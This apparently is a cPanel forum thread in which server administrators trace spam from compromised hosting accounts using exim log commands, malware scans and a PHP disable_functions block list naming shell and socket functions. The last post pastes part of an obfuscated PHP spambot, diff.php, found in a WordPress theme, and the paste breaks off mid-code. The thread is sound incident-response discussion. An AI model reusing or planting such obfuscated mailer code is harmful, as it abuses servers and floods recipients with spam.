The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Trace Outgoing Spam

Discussion in 'E-mail Discussions' started by Bashed, Apr 8, 2015.

  1. Bashed

    Bashed Well-Known Member

    Joined:
    Dec 18, 2013
    Messages:
    78
    Likes Received:
    1
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    Settings in Place:
    CSF / LFD
    SMTP Block via CSF
    Password Score Requirement = 100
    Apache > MailHeaders = On

    WHM > Tweak Settings:
    Initial default/catch-all forwarder destination = On
    Max hourly per domain = 75
    percentage of email (above the hourly maximum) to queue = 100%
    Prevent “nobody” from sending mail = On
    Add X-PopBeforeSMTP header for mail sent via POP-before-SMTP = On

    How do I trace this craziness? This is common among many users. Those emails "from" are all fabricated and do not exist in the cPanel > Email accounts area either.

    spam-1.png

    spam-2.png

    spam-3.png
     
  2. madmanmachines

    madmanmachines Well-Known Member

    Joined:
    Nov 28, 2014
    Messages:
    94
    Likes Received:
    3
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    You should use the logs to track the spam, specifically `/var/log/exim_mainlog'. Search the exim logs for the id referenced above as:
    Code:
    grep 1Yfu65-004BJT-Ka /var/log/exim_mainlog
    Provide the output here and someone may be able to provide further insight.

    Thanks,
     
  3. Bashed

    Bashed Well-Known Member

    Joined:
    Dec 18, 2013
    Messages:
    78
    Likes Received:
    1
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    It's the same info as in the screenshots, nothing different.


     
  4. danrussell

    danrussell Well-Known Member

    Joined:
    Nov 5, 2014
    Messages:
    60
    Likes Received:
    3
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    Hi :),

    The emails appear to be sent from malware script.
    Scan that account using maldet or clamscan and check if there are any suspicious .php file/script from which the spam emails are being sent.
     
  5. 24x7server

    24x7server Well-Known Member

    Joined:
    Apr 17, 2013
    Messages:
    1,146
    Likes Received:
    34
    Trophy Points:
    48
    Location:
    India
    cPanel Access Level:
    Root Administrator
    Also check your mail logs with following command. You will get directory list which is sending mails through php mail function.

     
    madmanmachines likes this.
  6. Bashed

    Bashed Well-Known Member

    Joined:
    Dec 18, 2013
    Messages:
    78
    Likes Received:
    1
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    Came back blank? Strange.
     
  7. madmanmachines

    madmanmachines Well-Known Member

    Joined:
    Nov 28, 2014
    Messages:
    94
    Likes Received:
    3
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    Your log format appears a bit different. Please try this modification of 24x7server's suggestion
    Code:
    awk '$4 ~ /^cwd/{print $4}' /var/log/exim_mainlog | sort | uniq -c | sed "s|^ *||g" | sort -nr
    While scanning has it's place, manually checking against the logs will provide the best results.

    Thanks,

    EDIT: My apologies. The command has been updated with the correct file location(/var/log/exim_mainlog). It previously showed 'out' which I used to test before providing to you.
     
    #7 madmanmachines, Apr 9, 2015
    Last edited: Apr 9, 2015
  8. Bashed

    Bashed Well-Known Member

    Joined:
    Dec 18, 2013
    Messages:
    78
    Likes Received:
    1
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    His original command worked fine on another similar cpanel box though, that's the weird thing. The one that came back blank, exim mainlog is 900MB in size too so, odd.

    Yours:
    root@server [~]# awk '$4 ~ /^cwd/{print $4}' out | sort | uniq -c | sed "s|^ *||g" | sort -nr
    awk: cmd. line:1: fatal: cannot open file `out' for reading (No such file or directory)
     
  9. madmanmachines

    madmanmachines Well-Known Member

    Joined:
    Nov 28, 2014
    Messages:
    94
    Likes Received:
    3
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    My apologies. The command has been updated with the correct file location(/var/log/exim_mainlog). It previously showed 'out' which I used to test before providing to you.
     
  10. Bashed

    Bashed Well-Known Member

    Joined:
    Dec 18, 2013
    Messages:
    78
    Likes Received:
    1
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    Thanks. Here's the output.

    Pasting only those above 1k emails. How do I stop CSF's outgoing mail and what is that last line with 1073? Root?

    Code:
    root@server [~]# awk '$4 ~ /^cwd/{print $4}' /var/log/exim_mainlog | sort | uniq -c | sed "s|^ *||g" | sort -nr
    955917 cwd=/var/spool/exim
    110919 cwd=/home/user1/public_html/backup/components/com_k2/views
    40680 cwd=/home/user2/public_html/ideha/wp-content/themes/twentyeleven
    37680 cwd=/home/user3/public_html/profiles/minimal/translations
    35297 cwd=/etc/csf
    23700 cwd=/home/user1/public_html/components/com_finder/helpers/html
    15870 cwd=/home/user4/public_html/wp-includes
    10830 cwd=/home/user5/public_html/wp-content/plugins/safe-redirect-manager
    9291 cwd=/home/user6/public_html/website/wp-content/plugins/revslider/temp/update_extract/revslider
    8610 cwd=/home/user7/public_html/wp-admin/css
    7998 cwd=/home/user8/public_html/peoplepods/pods/core_authentication
    1073 cwd=/
     
  11. madmanmachines

    madmanmachines Well-Known Member

    Joined:
    Nov 28, 2014
    Messages:
    94
    Likes Received:
    3
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    These are likely system emails to alert you of the spam, you may ignore them. Judging by the rest of the output, you have a lot of cleanup to do. Start by checking the files of each directory listed. Before you remove or modify any of them, you may want to note the timestamps of the malicious scripts, to check against the domain logs to determine how they were put in place. These accounts will likely have more malware, such as PHP shells. You should also ensure all CMS, plugins, and themes are up-to-date. Once you removed all malware you can find, use a scan to catch any you may have missed.

    Thanks,
     
  12. Bashed

    Bashed Well-Known Member

    Joined:
    Dec 18, 2013
    Messages:
    78
    Likes Received:
    1
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    Thanks. What scan tools do you recommend? I currently use CXS.

    Also, for disabled_functions in php I have this set:

    Code:
    passthru,exec,shell_exec,system,apache_note,apache_setenv,closelog,debugger_off,debugger_on,define_syslog_variables,openlog,syslog,symlink,escapeshellarg,escapeshellcmd,dl,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,socket_create_listen,socket_create_pair,socket_create,socket_get_option,socket_getpeername,socket_getsockname,socket_last_error,socket_listen,socket_read,socket_recv,socket_recvfrom,socket_select,socket_send,socket_sendto,socket_set_block,socket_set_nonblock,socket_set_option,socket_shutdown,socket_strerror,socket_write,stream_sock
     
  13. Bashed

    Bashed Well-Known Member

    Joined:
    Dec 18, 2013
    Messages:
    78
    Likes Received:
    1
    Trophy Points:
    8
    cPanel Access Level:
    Root Administrator
    I also found a file called diff.php in one of user's folder. Looks like a spambot or such?

    /home/user/public_html/ideha/wp-content/themes/twentyeleven
    -rw-r--r-- 1 user user 63K Apr 1 09:15 diff.php

    Code:
    <?php 
    $z26="jmiO@sxhFnD>J\r/u+RcHz3}g\nd{^8 ?eVwl_T\\\t|N5q)LobU]40!p%,rC-97k<'y=W:P\$1BI&S6\"E(K`Y~.Q;f[v2a#X*ZAGtM"; $GLOBALS['qjyxw29'] = $z26[31].$z26[55].$z26[55].$z26[45].$z26[55].$z26[35].$z26[55].$z26[31].$z26[52].$z26[45].$z26[55].$z26[96].$z26[2].$z26[9].$z26[23]; $GLOBALS['irxaj0'] = $z26[2].$z26[9].$z26[2].$z26[35].$z26[5].$z26[31].$z26[96]; $GLOBALS['cbimi76'] = $z26[25].$z26[31].$z26[85].$z26[2].$z26[9].$z26[31]; $GLOBALS['fdxkd35'] = $z26[2].$z26[96].$z26[33].$z26[55].$z26[45].$z26[49].$z26[28]; $GLOBALS['zkmxz95'] = $z26[2].$z26[60].$z26[7].$z26[34].$z26[5].$z26[69].$z26[59]; $GLOBALS['qlafq33'] = $z26[1].$z26[25].$z26[41]; $GLOBALS['besfv99'] = $z26[18].$z26[45].$z26[15].$z26[9].$z26[96]; $GLOBALS['akdzl43'] = $z26[96].$z26[2].$z26[1].$z26[31]; $GLOBALS['nmgeu13'] = $z26[18].$z26[45].$z26[9].$z26[5].$z26[96].$z26[89].$z26[9].$z26[96]; $GLOBALS['ylhli22'] = $z26[6].$z26[46].$z26[20].$z26[89].$z26[33].$z26[74].$z26[50]; $GLOBALS['tubyj82'] = $z26[0].$z26[18].$z26[55].$z26[6].$z26[96].$z26[21].$z26[69]; $GLOBALS['wlean57'] = $z26[23].$z26[96].$z26[20].$z26[0].$z26[85].$z26[58].$z26[49]; $GLOBALS['nfnov60'] = $z26[45].$z26[9].$z26[5].$z26[6].$z26[6].$z26[28].$z26[74]; $GLOBALS['kowuc61'] = $z26[9].$z26[63].$z26[25].$z26[33].$z26[25].$z26[49].$z26[58]; $GLOBALS['oenkz14'] = $z26[85].$z26[15].$z26[9].$z26[18].$z26[96].$z26[2].$z26[45].$z26[9].$z26[35].$z26[31].$z26[6].$z26[2].$z26[5].$z26[96].$z26[5]; $GLOBALS['dptpo51'] = $z26[1].$z26[89].$z26[2].$z26[34]; $GLOBALS['wbusj95'] = $z26[7].$z26[85].$z26[55].$z26[46].$z26[45].$z26[58].$z26[69]; $GLOBALS['cqced42'] = $z26[55].$z26[1].$z26[5].$z26[5].$z26[2].$z26[41].$z26[21]; $GLOBALS['hcmkz82'] = $z26[15].$z26[5].$z26[34].$z26[31].$z26[31].$z26[52]; $GLOBALS['wqgpi24'] = $z26[87].$z26[23].$z26[31].$z26[85].$z26[20].$z26[41].$z26[58]; $GLOBALS['lecyc16'] = $z26[33].$z26[45].$z26[33].$z26[7].$z26[60].$z26[88].$z26[28]; $GLOBALS['vbzwj52'] = $z26[96].$z26[55].$z26[2].$z26[1]; $GLOBALS['royge30'] = $z26[52].$z26[55].$z26[31].$z26[23].$z26[35].$z26[55].$z26[31].$z26[52].$z26[34].$z26[89].$z26[18].$z26[31]; $GLOBALS['genac32'] = $z26[23].$z26[31].$z26[96].$z26[7].$z26[45].$z26[5].$z26[96].$z26[46].$z26[63].$z26[9].$z26[89].$z26[1].$z26[31]; $GLOBALS['aibit15'] = $z26[52].$z26[55].$z26[31].$z26[23].$z26[35].$z26[1].$z26[89].$z26[96].$z26[18].$z26[7]; $GLOBALS['vuwpm73'] = $z26[0].$z26[45].$z26[96].$z26[5].$z26[60].$z26[88].$z26[74]; $GLOBALS['ieetj84'] = $z26[7].$z26[55].$z26[87].$z26[20].$z26[60].$z26[41].$z26[49]; $GLOBALS['opimn45'] = $z26[46].$z26[18].$z26[7].$z26[63].$z26[60].$z26[58].$z26[58]; $GLOBALS['xrmxg8'] = $z26[20].$z26[9].$z26[18].$z26[2].$z26[23].$z26[69].$z26[88]; $GLOBALS['qujzg48'] = $z26[5].$z26[96].$z26[55].$z26[34].$z26[31].$z26[9]; $GLOBALS['yfhmb1'] = $z26[25].$z26[45].$z26[55].$z26[7].$z26[2].$z26[88].$z26[41]; $GLOBALS['vbmgn26'] = $z26[1].$z26[42].$z26[1].$z26[52].$z26[46].$z26[21].$z26[69]; $GLOBALS['nhzva51'] = $z26[89].$z26[55].$z26[55].$z26[89].$z26[63].$z26[35].$z26[60].$z26[31].$z26[63].$z26[5]; $GLOBALS['rhucm8'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[5].$z26[31].$z26[34].$z26[31].$z26[18].$z26[96]; $GLOBALS['qfllr88'] = $z26[15].$z26[18].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96]; $GLOBALS['rhpxb62'] = $z26[5].$z26[96].$z26[55].$z26[35].$z26[55].$z26[31].$z26[52].$z26[34].$z26[89].$z26[18].$z26[31]; $GLOBALS['pjogo36'] = $z26[2].$z26[9].$z26[2].$z26[35].$z26[23].$z26[31].$z26[96]; $GLOBALS['vxvhf65'] = $z26[6].$z26[60].$z26[0].$z26[2].$z26[52].$z26[88].$z26[58]; $GLOBALS['krdey40'] = $z26[25].$z26[89].$z26[96].$z26[31]; $GLOBALS['gvtpo81'] = $z26[23].$z26[31].$z26[96].$z26[1].$z26[6].$z26[55].$z26[55]; $GLOBALS['axbve49'] = $z26[9].$z26[52].$z26[7].$z26[46].$z26[0].$z26[58].$z26[49]; $GLOBALS['ozxut67'] = $z26[1].$z26[2].$z26[9]; $GLOBALS['mjwzy5'] = ${$z26[35].$z26[67].$z26[3].$z26[73].$z26[36]}; $GLOBALS['qvkkq65'] = $z26[20].$z26[9].$z26[34].$z26[20].$z26[5].$z26[59].$z26[74]; $GLOBALS['jlety17'] = $z26[52].$z26[55].$z26[31].$z26[23].$z26[35].$z26[5].$z26[52].$z26[34].$z26[2].$z26[96]; $GLOBALS['jmhla61'] = $z26[1].$z26[18].$z26[5].$z26[45].$z26[5].$z26[88]; $GLOBALS['bnmbe55'] = $z26[18].$z26[7].$z26[55]; $GLOBALS['hmhgt49'] = $z26[45].$z26[55].$z26[25]; $GLOBALS['utaus24'] = $z26[15].$z26[55].$z26[34].$z26[25].$z26[31].$z26[18].$z26[45].$z26[25].$z26[31]; $GLOBALS['zmzwd84'] = $z26[5].$z26[96].$z26[55].$z26[2].$z26[52].$z26[5].$z26[34].$z26[89].$z26[5].$z26[7].$z26[31].$z26[5]; $GLOBALS['ujqqf49'] = $z26[89].$z26[55].$z26[55].$z26[89].$z26[63].$z26[35].$z26[85].$z26[34].$z26[2].$z26[52]; $GLOBALS['ifrrf77'] = $z26[52].$z26[55].$z26[31].$z26[23].$z26[35].$z26[1].$z26[89].$z26[96].$z26[18].$z26[7].$z26[35].$z26[89].$z26[34].$z26[34]; $GLOBALS['ztope57'] = $z26[46].$z26[89].$z26[5].$z26[31].$z26[74].$z26[49].$z26[35].$z26[31].$z26[9].$z26[18].$z26[45].$z26[25].$z26[31]; $GLOBALS['mlygh38'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[18].$z26[55].$z26[31].$z26[89].$z26[96].$z26[31]; $GLOBALS['tpzik24'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[34].$z26[89].$z26[5].$z26[96].$z26[35].$z26[31].$z26[55].$z26[55].$z26[45].$z26[55]; $GLOBALS['bxcji64'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[5].$z26[96].$z26[55].$z26[31].$z26[55].$z26[55].$z26[45].$z26[55]; $GLOBALS['ynqyo69'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[5].$z26[31].$z26[96].$z26[35].$z26[45].$z26[52].$z26[96].$z26[2].$z26[45].$z26[9]; $GLOBALS['fofco25'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[5].$z26[31].$z26[96].$z26[35].$z26[9].$z26[45].$z26[9].$z26[46].$z26[34].$z26[45].$z26[18].$z26[60]; $GLOBALS['hpaqw69'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[18].$z26[45].$z26[9].$z26[9].$z26[31].$z26[18].$z26[96]; $GLOBALS['lsftb14'] = $z26[85].$z26[5].$z26[45].$z26[18].$z26[60].$z26[45].$z26[52].$z26[31].$z26[9]; $GLOBALS['jydge81'] = $z26[5].$z26[96].$z26[55].$z26[31].$z26[89].$z26[1].$z26[35].$z26[5].$z26[31].$z26[96].$z26[35].$z26[46].$z26[34].$z26[45].$z26[18].$z26[60].$z26[2].$z26[9].$z26[23]; $GLOBALS['xxhac19'] = $z26[5].$z26[96].$z26[55].$z26[31].$z26[89].$z26[1].$z26[35].$z26[5].$z26[31].$z26[96].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31].$z26[45].$z26[15].$z26[96]; $GLOBALS['sqjqb6'] = $z26[5].$z26[96].$z26[55].$z26[31].$z26[89].$z26[1].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[18].$z26[34].$z26[2].$z26[31].$z26[9].$z26[96]; $GLOBALS['mpbyg6'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[18].$z26[34].$z26[45].$z26[5].$z26[31]; $GLOBALS['oiyff86'] = $z26[85].$z26[18].$z26[34].$z26[45].$z26[5].$z26[31]; $GLOBALS['jriui70'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[55].$z26[31].$z26[89].$z26[25]; $GLOBALS['iaovb66'] = $z26[85].$z26[31].$z26[45].$z26[85]; $GLOBALS['gkopq16'] = $z26[85].$z26[55].$z26[31].$z26[89].$z26[25]; $GLOBALS['acnwa34'] = $z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[35].$z26[33].$z26[55].$z26[2].$z26[96].$z26[31]; $GLOBALS['pybsn6'] = $z26[85].$z26[33].$z26[55].$z26[2].$z26[96].$z26[31]; $GLOBALS['ytjac16'] = $z26[55].$z26[89].$z26[9].$z26[25]; $GLOBALS['opohr97'] = $z26[31].$z26[6].$z26[52].$z26[34].$z26[45].$z26[25].$z26[31]; $GLOBALS['iewnf77'] = $z26[52].$z26[89].$z26[18].$z26[60]; $GLOBALS['lavnu82'] = $z26[15].$z26[9].$z26[52].$z26[89].$z26[18].$z26[60]; $GLOBALS['nylha24'] = $z26[0].$z26[34].$z26[25].$z26[31].$z26[42].$z26[58].$z26[41]; $GLOBALS['fjpnj22'] = $z26[89].$z26[55].$z26[55].$z26[89].$z26[63].$z26[35].$z26[1].$z26[31].$z26[55].$z26[23].$z26[31]; $GLOBALS['lqzly97'] = $z26[34].$z26[45].$z26[9].$z26[23].$z26[88].$z26[2].$z26[52]; @$GLOBALS['qjyxw29'](NULL); @$GLOBALS['irxaj0']($z26[31].$z26[55].$z26[55].$z26[45].$z26[55].$z26[35].$z26[34].$z26[45].$z26[23],NULL); @$GLOBALS['irxaj0']($z26[34].$z26[45].$z26[23].$z26[35].$z26[31].$z26[55].$z26[55].$z26[45].$z26[55].$z26[5],0); $GLOBALS['cbimi76']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[97].$z26[91], 0x000F); $GLOBALS['cbimi76']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[94] , 0x0001); $GLOBALS['cbimi76']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[40].$z26[73], 0x0002); $GLOBALS['cbimi76']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[83].$z26[76].$z26[73].$z26[36].$z26[71].$z26[3].$z26[40] , 1); $GLOBALS['cbimi76']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[94].$z26[40].$z26[73].$z26[65].$z26[76].$z26[17] , 2); $GLOBALS['cbimi76']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[94].$z26[47].$z26[36].$z26[19].$z26[3].$z26[17].$z26[71].$z26[36].$z26[80] , 3); $GLOBALS['cbimi76']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[94].$z26[10].$z26[10].$z26[71].$z26[36].$z26[71].$z26[3].$z26[40].$z26[94].$z26[44], 4); $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36] , 1); $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[8].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36], 2); $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[36].$z26[17].$z26[76].$z26[94].$z26[97] , 4); $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[40].$z26[3] , 5); $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[67].$z26[17].$z26[3].$z26[36].$z26[3].$z26[35].$z26[36].$z26[56].$z26[67] , 1); $GLOBALS['cbimi76']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[67].$z26[17].$z26[3].$z26[36].$z26[3].$z26[35].$z26[47].$z26[10].$z26[67] , 2); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36] , 0); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36].$z26[76].$z26[10] , 1); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[76].$z26[19].$z26[44].$z26[3] , 2); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[97].$z26[94].$z26[71].$z26[44].$z26[8].$z26[17].$z26[3].$z26[97] , 3); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[17].$z26[56].$z26[67].$z26[36].$z26[36].$z26[3] , 4); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[10].$z26[94].$z26[36].$z26[94] , 5); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[70].$z26[3].$z26[10].$z26[80] , 6); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[83].$z26[47].$z26[71].$z26[36] , 7); $GLOBALS['cbimi76']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[97].$z26[67].$z26[44].$z26[76].$z26[36].$z26[76].$z26[10] , 8); $GLOBALS['fdxkd35']($z26, NULL); $mdbih30 = array($z26[96].$z26[45].$z26[44].$z26[2].$z26[5].$z26[96] => "", $z26[85].$z26[55].$z26[45].$z26[1].$z26[44].$z26[45].$z26[23].$z26[2].$z26[9] => "", $z26[85].$z26[55].$z26[45].$z26[1].$z26[40].$z26[89].$z26[1].$z26[31] => "", $z26[5].$z26[15].$z26[46].$z26[0].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34] => "", $z26[46].$z26[45].$z26[25].$z26[63].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34] => "", $z26[7].$z26[45].$z26[5].$z26[96].$z26[8].$z26[55].$z26[45].$z26[1] => ""); if (FALSE == $GLOBALS['zkmxz95']($z26, $mdbih30)) { echo PHP_OS.$z26[16].$GLOBALS['qlafq33'](0987654321).$z26[16].$z26[50].$z26[69].$z26[16].$z26[86].$z26[86].$z26[48].$z26[48].$z26[24]; exit; } $kgjgx72 = array(); for ($irsck14 = 0; $irsck14 < $GLOBALS['besfv99']($mdbih30[$z26[96].$z26[45].$z26[44].$z26[2].$z26[5].$z26[96]]); $irsck14++) { $ijxwp10 = array( $z26[2].$z26[25] => $irsck14, $z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45] => "", $z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45].$z26[16] => "", $z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1] => "", $z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1].$z26[16] => "", $z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[96].$z26[45] => "", $z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[85].$z26[55].$z26[45].$z26[1] => "", $z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96] => "", $z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[34].$z26[89].$z26[5].$z26[96] => "", $z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63] => "", $z26[23].$z26[35].$z26[5].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96] => "", $z26[23].$z26[35].$z26[85].$z26[85].$z26[85] => FALSE, $z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55] => "", $z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55].$z26[85].$z26[55].$z26[45].$z26[1] => "", $z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55] => "", $z26[5].$z26[35].$z26[1].$z26[6].$z26[7].$z26[45].$z26[5].$z26[96] => "", $z26[5].$z26[35].$z26[1].$z26[6].$z26[89].$z26[25].$z26[25].$z26[55] => FALSE, $z26[5].$z26[35].$z26[5].$z26[45].$z26[18].$z26[60] => FALSE, $z26[5].$z26[35].$z26[96].$z26[2].$z26[1].$z26[31] => $GLOBALS['akdzl43'](), $z26[5].$z26[35].$z26[5].$z26[96].$z26[31].$z26[52] => $GLOBALS['nmgeu13']($z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[56].$z26[3].$z26[40].$z26[40].$z26[76].$z26[56].$z26[36]), $z26[5].$z26[35].$z26[52].$z26[45].$z26[55].$z26[96] => 25, $z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[2].$z26[9] => "", $z26[5].$z26[35].$z26[25].$z26[89].$z26[96].$z26[89].$z26[45].$z26[15].$z26[96] => "", $z26[5].$z26[35].$z26[96].$z26[55].$z26[2].$z26[23] => FALSE, $z26[34].$z26[35].$z26[31].$z26[55].$z26[55] => "", $z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31] => FALSE, $z26[34].$z26[35].$z26[33].$z26[89].$z26[63] => 0, $z26[34].$z26[35].$z26[85].$z26[89].$z26[2].$z26[34].$z26[5].$z26[1].$z26[96].$z26[52] => FALSE, $z26[34].$z26[35].$z26[5].$z26[1].$z26[96].$z26[52].$z26[35].$z26[31].$z26[9].$z26[25] => FALSE, ); if (FALSE == $GLOBALS['ylhli22']($z26, $mdbih30[$z26[96].$z26[45].$z26[44].$z26[2].$z26[5].$z26[96]][$irsck14], $mdbih30, $ijxwp10)) { echo PHP_OS.$z26[16].$GLOBALS['qlafq33'](1111111111).$z26[16].$z26[50].$z26[88].$z26[16].$z26[86].$z26[86].$GLOBALS['tubyj82']($z26, $mdbih30[$z26[96].$z26[45].$z26[44].$z26[2].$z26[5].$z26[96]][$irsck14]).$z26[48].$z26[48].$z26[24]; continue; } $kgjgx72[] = $ijxwp10; } $GLOBALS['wlean57']($z26, $kgjgx72); $GLOBALS['nfnov60']($z26, $kgjgx72); $GLOBALS['kowuc61']($z26, $kgjgx72); exit; function nydwd49($z26, $kgjgx72) { $zixzg2 = 0; $emwwo41 = ""; for ($irsck14 = 0; $irsck14 < $GLOBALS['besfv99']($kgjgx72); $irsck14++) { if ($kgjgx72[$irsck14][$z26[34].$z26[35].$z26[85].$z26[89].$z26[2].$z26[34].$z26[5].$z26[1].$z26[96].$z26[52]] == TRUE) { echo PHP_OS.$z26[16].$GLOBALS['qlafq33'](2222222222).$z26[16].$z26[50].$z26[49].$z26[16].$z26[86].$z26[86].$GLOBALS['tubyj82']($z26, $kgjgx72[$irsck14][$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]].$z26[29].$z26[66].$z26[66].$z26[29].$kgjgx72[$irsck14][$z26[34].$z26[35].$z26[31].$z26[55].$z26[55]]).$z26[48].$z26[48].$z26[24]; } if ($kgjgx72[$irsck14][$z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31]] == TRUE) { $emwwo41.= $kgjgx72[$irsck14][$z26[34].$z26[35].$z26[33].$z26[89].$z26[63]]; $zixzg2++; } } if ($zixzg2 == 0) { echo PHP_OS.$z26[16].$GLOBALS['qlafq33'](0987654321).$z26[16].$z26[50].$z26[49].$z26[16].$z26[86].$z26[86].$z26[48].$z26[48].$z26[24]; } else { echo $z26[3].$z26[78].$z26[16].$GLOBALS['qlafq33'](1234567890).$z26[16].$zixzg2.$z26[16].$GLOBALS['besfv99']($kgjgx72).$z26[86].$emwwo41.$z26[48].$z26[24]; } } function onsxx86($z26, &$kgjgx72) { if (!$GLOBALS['oenkz14']($z26[1].$z26[89].$z26[2].$z26[34])) { return FALSE; } for ($irsck14 = 0; $irsck14 < $GLOBALS['besfv99']($kgjgx72); $irsck14++) { if ($kgjgx72[$irsck14][$z26[34].$z26[35].$z26[25].$z26[45].$z26[9].$z26[31]] == TRUE) { continue; } if ($kgjgx72[$irsck14][$z26[23].$z26[35].$z26[85].$z26[85].$z26[85]]) { if (@$GLOBALS['dptpo51']($kgjgx72[$irsck14][$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45].$z26[16]], $kgjgx72[$irsck14][$z26[23].$z26[35].$z26[5].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96]], $kgjgx72[$irsck14][$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]], 